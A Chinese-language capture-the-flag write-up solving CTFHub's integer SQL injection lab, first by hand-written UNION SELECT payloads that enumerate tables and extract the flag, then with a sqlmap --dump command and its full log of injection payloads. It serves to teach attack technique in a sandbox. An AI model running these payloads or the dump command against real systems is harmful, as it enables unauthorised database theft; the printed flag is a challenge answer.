CTFHub SQL注入通关笔记1:整数型注入(手注法+脚本法)
目录
一、SQL整数型注入
二、UNION法注入步骤
三、手工注入
1、目标识别与参数发现
2、确定列数
3、确定回显位
4、获取当前数据库名
5、获取数据库sqli所有表名
6、查flag表下有哪些字段
7、提取Flag值
四、sqlmap注入
本文讲解CTFHub的“SQL注入-整数型注入”关卡的原理和完整渗透实战过程。首先介绍了整数型注入的原理:当Web应用直接将用户输入的数值参数拼接到SQL查询时,若未做有效过滤就会产生安全风险。随后展示了手工注入的完整步骤:1)通过ORDER BY确定字段数;2)使用UNION SELECT定位回显点;3)依次获取数据库名、表名、列名;4)最终提取flag值。同时演示了使用sqlmap工具自动化注入的过程,包括--current-db、--dump等参数的使用。两种方法均成功获取到flag:ctfhub{18b6391315e2f3900ae0840e}
一、SQL整数型注入
SQL 整数型注入是SQL 注入的常见类型之一,主要发生在 Web 应用将用户输入的整数参数(如 ID、页码等)直接拼接到 SQL 查询语句,且未做有效过滤或类型转换的场景。其核心特点是:后端代码通常直接将用户输入作为整数使用(如SELECT * FROM users WHERE id = $user_input
),未用引号包裹参数。当输入含 SQL 逻辑的恶意内容时,会篡改原查询逻辑
二、UNION法注入步骤
- 寻找注入点: 通过提交测试Payload(如单引号或逻辑语句)观察页面反应,确认参数是否存在SQL注入风险及判断其类型(字符型/数值型)。
- 确定字段数: 使用
ORDER BY
子句逐次递增列数进行探测,当页面因超出实际列数而报错时,即可确定原始查询的字段数量。 - 探测回显点: 构造
UNION SELECT
语句并令原查询结果为空,观察页面中显示的数字位置,这些位置即为可用于回显数据的字段。 - 获取当前数据库基本信息: 在回显点位置替换为
database()
或version()
等函数,从而获取当前数据库名称、版本等关键信息。 - 查询表名: 访问
information_schema.tables
系统表,查询并列出当前数据库中的所有表名,寻找可能存储目标数据的表。 - 查询列名: 针对已识别的目标表,查询
information_schema.columns
系统表,获取该表包含的所有列名结构。 - 提取最终数据: 直接查询目标表的目标列,将所需数据(如Flag)通过回显点输出到页面,完成整个联合注入攻击流程。
三、手工注入
1、目标识别与参数发现
浏览器输入靶场URL链接,这就是我们的攻击目标,如下所示。
http://challenge-299ea24f88858cf1.sandbox.ctfhub.com:10800/
根据提示在页面输入1,此时URL的参数变为/?id=1,本关卡为数值型,猜测id就是注入点。
http://challenge-299ea24f88858cf1.sandbox.ctfhub.com:10800/?id=1
关注下图红框中的SQL注入语句,如下所示参数1被传入后未被引号包裹,确实是数值型注入。
select * from news where id=1
2、确定列数
探查目标SQL查询结果返回的列数,这是为后续的UNION联合查询攻击做准备。我们使用 ORDER BY
子句进行探测。ORDER BY n
表示根据第n列进行排序,如果n超过实际列数,数据库将返回错误。我们从 ORDER BY 1
开始尝试,Payload:id=1 ORDER BY 1
。页面正常显示则说明查询结果至少有一列。然后依次递增数字:ORDER BY 2
, ORDER BY 3
, ... 直至页面返回错误(如空白页、数据库报错信息)。
1 order by 1
1 order by 2
1 order by 3
综上所述,当 ORDER BY 3
时页面无返回值,而 ORDER BY 2
正常,则表明当前查询结果的字段数为2列,说明后续UNION查询必须匹配相同的列数。
3、确定回显位
确定字段数为2后,我们使用UNION SELECT联合查询来确定哪些字段的内容会显示在网页上。构造Payload:-1 UNION SELECT 1,2。
-1 UNION SELECT 1,2
这里将原始id值设为-1(一个不存在的值)是为了让原查询结果为空,从而确保页面显示的是我们UNION查询的结果。
提交后,仔细观察页面。页面ID处显示“1”,而另一处Data显示“2”,这意味着第1个和第2个字段的内容会被输出到页面上,这些位置就是“回显点”。这两个位置将作为我们后续提取数据库信息的窗口。
4、获取当前数据库名
找到回显点(第1和第2位)后,我们开始提取数据库的核心信息。首先,替换回显点位置为数据库函数。Payload:-1 UNION SELECT database(),version()。database()
函数将返回当前数据库名称,version()
返回数据库版本信息。
-1 UNION SELECT database(),version()
提交后,页面会在相应位置显示数据库名(‘sqli’)和版本(“10.3.22-MariaDB-0+deb10u1”)。
5、获取数据库sqli所有表名
接下来,查询数据库sqli的所有表名。对于MySQL,信息模式库是information_schema.tables
。
-1 UNION SELECT group_concat(table_name), 2 FROM information_schema.tables WHERE table_schema=database()
或
-1 UNION SELECT group_concat(table_name), 2 FROM information_schema.tables WHERE table_schema='sqli'
此语句会将当前数据库下的所有表名合并成一个字符串,并显示在第1个回显点上,ID对应的flag和news就是数据库中的表格,其中flag表就是我们要下一步查询的表格。
6、查flag表下有哪些字段
得知表名flag后,我们需要使用information_schema.columns
探查flag表包含哪些字段(列)。
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
或
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema=database()
这将列出‘flag’表的所有字段名,如下所示Data回显位对应的就是字段名“flag”,说明flag表仅有1列,那就是flag。
7、提取Flag值
最后提取flag表的flag列对应的值,使用Payload:-1 union select 1,flag from flag
-1 union select 1,flag from flag
提交后,页面上应在Data对应的回显位直接显示出Flag字符串,如下所示渗透成功。
四、sqlmap注入
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。
sqlmap -u http://challenge-299ea24f88858cf1.sandbox.ctfhub.com:10800/?id=1 --current-db --dump --batch -v 3
-
--current-db:
这是一个信息枚举参数。它的作用是命令SQLMap在成功找到注入点后,首先获取当前正在使用的数据库名称。这是后续操作的关键第一步,因为知道了数据库名,才能进一步查询它里面的表。 -
--dump
-
这是一个数据提取参数,是这条命令的“终极目标”。它的作用是命令SQLMap尽最大努力提取并下载所有它能访问的数据。
-
--dump
的行为非常激进和自动化,它通常包含以下子步骤:-
枚举当前数据库的所有表名。
-
针对每个表,枚举其所有列名。
-
然后将其每个表中的所有数据内容(每一行每一列)全部提取并保存到本地。
-
-
-
--batch
-
这是一个自动化执行参数。在默认情况下,SQLMap在发现风险或需要做出选择时会暂停并询问用户(例如,“是否要测试其他参数?”,“发现了数据库X,是否要跳过并测试其他?”)。
-
--batch
选项会让SQLMap自动选择默认的或最有效的答案继续执行,无需任何人工交互。这对于自动化脚本和快速测试非常有用,但在某些需要谨慎选择的复杂场景下可能不是最佳选择。
-
-
-v 3
-
这是详细级别(Verbosity) 参数。SQLMap有0-6共7个详细级别。
-
-v 3
表示输出级别为3。在这个级别上,SQLMap不仅会显示最终结果和重要警告,还会显示它发送的每个HTTP请求的Payload(负载)和收到的HTTP响应。
-
如下所示,sqlmap渗透成功,可以通过联合查询、时间盲注两种方法渗透成功,具体信息如下所示,成功获取到flag值ctfhub{18b6391315e2f3900ae0840e}。
┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://challenge-299ea24f88858cf1.sandbox.ctfhub.com:10800/?id=1 --current-db --dump --batch -v 3_____H__ ___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 12:24:42 /2025-09-12/[12:24:42] [DEBUG] cleaning up configuration parameters
[12:24:42] [DEBUG] setting the HTTP timeout
[12:24:42] [DEBUG] setting the HTTP User-Agent header
[12:24:42] [DEBUG] creating HTTP requests opener object
[12:24:42] [INFO] resuming back-end DBMS 'mysql'
[12:24:42] [DEBUG] resolving hostname 'challenge-299ea24f88858cf1.sandbox.ctfhub.com'
[12:24:42] [INFO] testing connection to the target URL
[12:24:42] [DEBUG] declared web page charset 'utf-8'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 4619 FROM (SELECT(SLEEP(5)))cTkC)Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])Type: UNION queryTitle: Generic UNION query (NULL) - 2 columnsPayload: id=-3541 UNION ALL SELECT NULL,CONCAT(0x71717a7a71,0x5548636b445855714d4970677255566e53587145776f74637a436565656375565150476d56534c6c,0x7171627071)-- -Vector: UNION ALL SELECT NULL,[QUERY]-- -
---
[12:24:42] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.14, OpenResty 1.21.4.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[12:24:42] [INFO] fetching current database
[12:24:42] [DEBUG] performed 0 queries in 0.00 seconds
current database: 'sqli'
[12:24:42] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[12:24:42] [INFO] fetching current database
[12:24:42] [INFO] fetching tables for database: 'sqli'
[12:24:42] [PAYLOAD] -2007 UNION ALL SELECT NULL,CONCAT(0x71717a7a71,JSON_ARRAYAGG(CONCAT_WS(0x6873766f6b64,table_name)),0x7171627071) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x73716c69)-- -
[12:24:43] [WARNING] reflective value(s) found and filtering out
[12:24:43] [DEBUG] used SQL query returns 2 entries
[12:24:43] [DEBUG] performed 1 query in 0.18 seconds
[12:24:43] [INFO] fetching columns for table 'news' in database 'sqli'
[12:24:43] [PAYLOAD] -6455 UNION ALL SELECT NULL,CONCAT(0x71717a7a71,JSON_ARRAYAGG(CONCAT_WS(0x6873766f6b64,column_name,column_type)),0x7171627071) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69-- -
[12:24:43] [DEBUG] used SQL query returns 2 entries
[12:24:43] [DEBUG] performed 1 query in 0.16 seconds
[12:24:43] [INFO] fetching entries for table 'news' in database 'sqli'
[12:24:43] [DEBUG] stripping ORDER BY clause from statement because it does not play well with UNION query SQL injection
[12:24:43] [PAYLOAD] -6321 UNION ALL SELECT NULL,CONCAT(0x71717a7a71,JSON_ARRAYAGG(CONCAT_WS(0x6873766f6b64,data,id)),0x7171627071) FROM sqli.news-- -
[12:24:43] [DEBUG] used SQL query returns 3 entries
[12:24:43] [DEBUG] performed 1 query in 0.15 seconds
[12:24:43] [DEBUG] analyzing table dump for possible password hashes
Database: sqli
Table: news
[3 entries]
+--------+--------+
| id | data |
+--------+--------+
| 1 | ctfhub |
| 2 | skill |
| 114514 | sqli |
+--------+--------+[12:24:43] [INFO] table 'sqli.news' dumped to CSV file '/home/kali/.local/share/sqlmap/output/challenge-299ea24f88858cf1.sandbox.ctfhub.com/dump/sqli/news.csv'
[12:24:43] [INFO] fetching columns for table 'flag' in database 'sqli'
[12:24:43] [PAYLOAD] -2093 UNION ALL SELECT NULL,CONCAT(0x71717a7a71,JSON_ARRAYAGG(CONCAT_WS(0x6873766f6b64,column_name,column_type)),0x7171627071) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x666c6167 AND table_schema=0x73716c69-- -
[12:24:43] [DEBUG] used SQL query returns 1 entry
[12:24:43] [DEBUG] performed 1 query in 0.16 seconds
[12:24:43] [INFO] fetching entries for table 'flag' in database 'sqli'
[12:24:43] [PAYLOAD] -2691 UNION ALL SELECT NULL,CONCAT(0x71717a7a71,JSON_ARRAYAGG(CONCAT_WS(0x6873766f6b64,flag)),0x7171627071) FROM sqli.flag ORDER BY flag-- -
[12:24:43] [DEBUG] used SQL query returns 1 entry
[12:24:43] [PAYLOAD] -7437 UNION ALL SELECT NULL,CONCAT(0x71717a7a71,IFNULL(CAST(flag AS NCHAR),0x20),0x7171627071) FROM sqli.flag ORDER BY flag-- -
[12:24:43] [DEBUG] retrying failed SQL query without the ORDER BY clause
[12:24:43] [DEBUG] performed 2 queries in 0.29 seconds
[12:24:43] [DEBUG] analyzing table dump for possible password hashes
Database: sqli
Table: flag
[1 entry]
+----------------------------------+
| flag |
+----------------------------------+
| ctfhub{18b6391315e2f3900ae0840e} |
+----------------------------------+[12:24:43] [INFO] table 'sqli.flag' dumped to CSV file '/home/kali/.local/share/sqlmap/output/challenge-299ea24f88858cf1.sandbox.ctfhub.com/dump/sqli/flag.csv'
[12:24:43] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/challenge-299ea24f88858cf1.sandbox.ctfhub.com'
[12:24:43] [WARNING] your sqlmap version is outdated[*] ending @ 12:24:43 /2025-09-12/